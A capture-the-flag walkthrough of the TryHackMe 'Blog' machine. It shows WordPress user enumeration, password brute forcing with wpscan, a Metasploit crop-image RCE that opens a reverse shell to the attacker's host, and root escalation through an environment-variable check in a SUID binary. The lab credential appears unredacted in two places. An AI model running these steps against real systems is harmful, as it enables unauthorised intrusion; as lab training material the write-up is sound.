Intro

THM: Blog is a linux boot to root challenge that starts with a vulnerable WordPress blog. With the help of wpscan we’ll enumerate usernames and brute force a password. With those creds we can exploit a known RCE bug for this version of WP to get a shell. Finally we’ll do some basic static analysis of a root-owned SUID binary to escalate to a root shell.

Recon

Before we start we’ll need to add blog.thm to /etc/hosts per the instructions for this room.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Blog]
└─$ sudo rustscan -a 10.10.36.193 -- -sV -O -oA nmap1

PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Alright so we have an Ubuntu box with SSH, HTTP, and SMB port open.

On port 80 there is a simple WordPress blog.

WordPress blog running on port 80

We can run wpscan to check for vulnerabilities in the background while we focus our attention on enumerating SMB.

For SMB we can run enum4linux to enumerate shares and more.

┌──(brian㉿kali)-[~]
└─$ enum4linux -S 10.10.57.102                                                                           255 ⨯
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Oct  4 08:40:12 2022

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.57.102
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.57.102    |
 ==================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ===================================== 
|    Session Check on 10.10.57.102    |
 ===================================== 
[+] Server 10.10.57.102 allows sessions using username '', password ''

 =========================================== 
|    Getting domain SID for 10.10.57.102    |
 =========================================== 
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================= 
|    Share Enumeration on 10.10.57.102    |
 ========================================= 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        BillySMB        Disk      Billy's local SMB Share
        IPC$            IPC       IPC Service (blog server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.57.102
//10.10.57.102/print$   Mapping: DENIED, Listing: N/A
//10.10.57.102/BillySMB Mapping: OK, Listing: OK
//10.10.57.102/IPC$     [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Tue Oct  4 08:40:28 2022

Seeing that the server allows anonymous sessions is definitely interesting, as is that the BillySMB share appears to be open.

With smbclient --user='' -N //blog.thm/BillySMB we can connect to the share and explore.

smb: \> ls
  .                                   D        0  Tue May 26 14:17:05 2020
  ..                                  D        0  Tue May 26 13:58:23 2020
  Alice-White-Rabbit.jpg              N    33378  Tue May 26 14:17:01 2020
  tswift.mp4                          N  1236733  Tue May 26 14:13:45 2020
  check-this.png                      N     3082  Tue May 26 14:13:43 2020

And we can mget <file> to download a copy of each file. Since we have images we might as well check for any hidden data.

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Blog/loot]
└─$ stegseek -sf Alice-White-Rabbit.jpg -wl /usr/share/wordlists/rockyou.txt -xf alice.out
StegSeek version 0.5
Progress: 0.00% (0 bytes)           

[i] --> Found passphrase: ""
[i] Original filename: "rabbit_hole.txt"
[i] Extracting to "alice.out"                                                                                   
                                                                                                               
┌──(brian㉿kali)-[~/…/hacks/tryhackme/Blog/loot]
└─$ cat alice.out                 
You've found yourself in a rabbit hole, friend.

Uh oh … looks like we’ve fallen down a rabbit hole! 🐰

Let’s see what wpscan found for us. The -e u option tells it to also enumerate usernames.

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Blog/loot]
└─$ wpscan --url http://blog.thm -e u                                                                                                                                                                

[+] URL: http://blog.thm/ [10.10.130.134]                                                                      
[+] Started: Sun Aug  7 10:21:55 2022            
                           
Interesting Finding(s):                                                                                        
                                                                                                                               
[+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)                                                              
 | Confidence: 100%

[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.thm/feed/, <generator>https://wordpress.org/?v=5.0</generator>
 |  - http://blog.thm/comments/feed/, <generator>https://wordpress.org/?v=5.0</generator>

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:02 <=================================> (10 / 10) 100.00% Time: 00:00:02

[i] User(s) Identified:

[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] Karen Wheeler
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] Billy Joel
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

It successfully identified kwheel and bjoel and usernames. Now we can run wpscan again with a password list this time to attempt to brute force one or both of their passwords.

┌──(brian㉿kali)-[~]                                                                                           
└─$ wpscan --url http://blog.thm -U kwheel -P /usr/share/wordlists/rockyou.txt      

...truncated...

[+] Performing password attack on Xmlrpc against 1 user/s                                                      
[SUCCESS] - kwheel / cutiepie1                         
Trying kwheel / westham Time: 00:05:03 <                              > (2865 / 14347257)  0.01%  ETA: ??:??:??
                           
[!] Valid Combinations Found:                                                                                  
 | Username: kwheel, Password: REDACTED                                                                       
                                                                                                               

And we found a password for kwheel!

Our wpscan results also show it identified the version as 5.0 and also noted this is an insecure, outdated version that was released way back in 2018.

Querying searchsploit shows a few RCE exploits for this version.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Blog]
└─$ searchsploit wordpress 5.0
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
WordPress 5.0.0 - Image Remote Code Execution                                | php/webapps/49512.py
WordPress Core 5.0 - Remote Code Execution                                   | php/webapps/46511.js
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)                  | php/remote/46662.rb
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts      | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                      | php/dos/47800.py
WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion                 | php/webapps/17119.txt
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)  | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities          | php/webapps/39553.txt
WordPress Plugin FeedWordPress 2015.0426 - SQL Injection                     | php/webapps/37067.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                    | php/webapps/44943.txt
WordPress Plugin leenk.me 2.5.0 - Cross-Site Request Forgery / Cross-Site Sc | php/webapps/39704.txt
WordPress Plugin Marketplace Plugin 1.5.0 < 1.6.1 - Arbitrary File Upload    | php/webapps/18988.php
WordPress Plugin Network Publisher 5.0.1 - 'networkpub_key' Cross-Site Scrip | php/webapps/37174.txt
WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupload.php | php/webapps/37353.php
WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabilities   | php/webapps/32867.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                  | php/webapps/48918.sh
WordPress Plugin Smart Slider-3 3.5.0.8 - 'name' Stored Cross-Site Scripting | php/webapps/49958.txt
WordPress Plugin WP-Property 1.35.0 - Arbitrary File Upload                  | php/webapps/18987.php
----------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
----------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                 |  Path
----------------------------------------------------------------------------- ---------------------------------
WordPress Core 5.0 - Remote Code Execution                                   | docs/english/46460-wordpress-5.0
----------------------------------------------------------------------------- ---------------------------------

Now that we have credentials we can give one of these RCE exploits a try. Let’s use metasploit for this.

Initial Foothold

Run msfconsole to open metasploit and search wordpress 5.0 to find the exploit. use exploit/multi/http/wp_crop_rce will load up the exploit we want, and we can show options to see what settings we need to set.

  1. set username kwheel
  2. set password [REDACTED]
  3. set rhosts blog.thm
  4. set lhost tun0 (this points the reverse shell at our TryHackMe VPN interface)
  5. Finallyrun to launch the exploit.
msf6 exploit(multi/http/wp_crop_rce) > run                                                                     
                                                                                                               
[*] Started reverse TCP handler on 10.13.17.127:4444                                                           
[*] Authenticating with WordPress using kwheel:cutiepie1...                                                    
[+] Authenticated with WordPress                                                                               
[*] Preparing payload...                                                                                       
[*] Uploading payload                                                                                          
[+] Image uploaded                                                                                             
[*] Including into theme                                                                                       
[*] Sending stage (39282 bytes) to 10.10.130.134                                                               
[*] Attempting to clean up files...                                                                            
[*] Meterpreter session 1 opened (10.13.17.127:4444 -> 10.10.130.134:33702) at 2022-08-07 10:51:25 -0400       
                                                                                                               
meterpreter > 

It worked! Now we can run shell to drop into a regular reverse shell.

meterpreter > shell
Process 1570 created.
Channel 1 created.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@blog:/var/www/wordpress$

In /home/bjoel there is a user.txt file but….

www-data@blog:/home/bjoel$ cat user.txt
cat user.txt
You won't find what you're looking for here.

TRY HARDER

No flag.

Privilege Escalation

If we check for SUID binaries we’ll see one that doesn’t belong.. /usr/sbin/checker. Let’s take a closer look.

www-data@blog:/var/www/wordpress$ file /usr/sbin/checker
file /usr/sbin/checker
/usr/sbin/checker: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6cdb17533a6e02b838336bfe9791b5d57e1e2eea, not stripped

Executing it just tells us we are “Not an Admin.”

www-data@blog:/var/www/wordpress$ checker
checker
Not an Admin

We can run it through ltrace to trace library calls and try to understand how it is determining that.

www-data@blog:/var/www/wordpress$ ltrace checker
ltrace checker
getenv("admin")                                  = nil
puts("Not an Admin"Not an Admin
)                             = 13
+++ exited (status 0) +++

Interesting! It’s looking for an environment variable named admin. So what happens if we set that variable to something?

www-data@blog:/var/www/wordpress$ export admin=1

www-data@blog:/var/www/wordpress$ ltrace checker
ltrace checker
getenv("admin")                                  = "1"
setuid(0)                                        = -1
system("/bin/bash")

Apparently that’s all it takes to get a root shell. Now we can run checker again without ltrace this time and capture the root flag.

www-data@blog:/var/www/wordpress$ checker
checker

root@blog:/var/www/wordpress# cd /root && ls -la
cd /root && ls -la
total 60
drwx------  6 root root  4096 May 28  2020 .
drwxr-xr-x 24 root root  4096 May 25  2020 ..
lrwxrwxrwx  1 root root     9 May 26  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 May 26  2020 .cache
drwx------  3 root root  4096 May 26  2020 .gnupg
drwxr-xr-x  3 root root  4096 May 26  2020 .local
-rw-------  1 root root   272 May 28  2020 .mysql_history
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
drwx------  2 root root  4096 May 25  2020 .ssh
-rw-------  1 root root 13291 May 28  2020 .viminfo
-rw-r--r--  1 root root   215 May 27  2020 .wget-hsts
-rw-r--r--  1 root root    33 May 26  2020 root.txt

root@blog:/root# wc -c root.txt
wc -c root.txt
33 root.txt

Now that we’re root we can easily find and grab the real user flag as well, which is in /media/usb.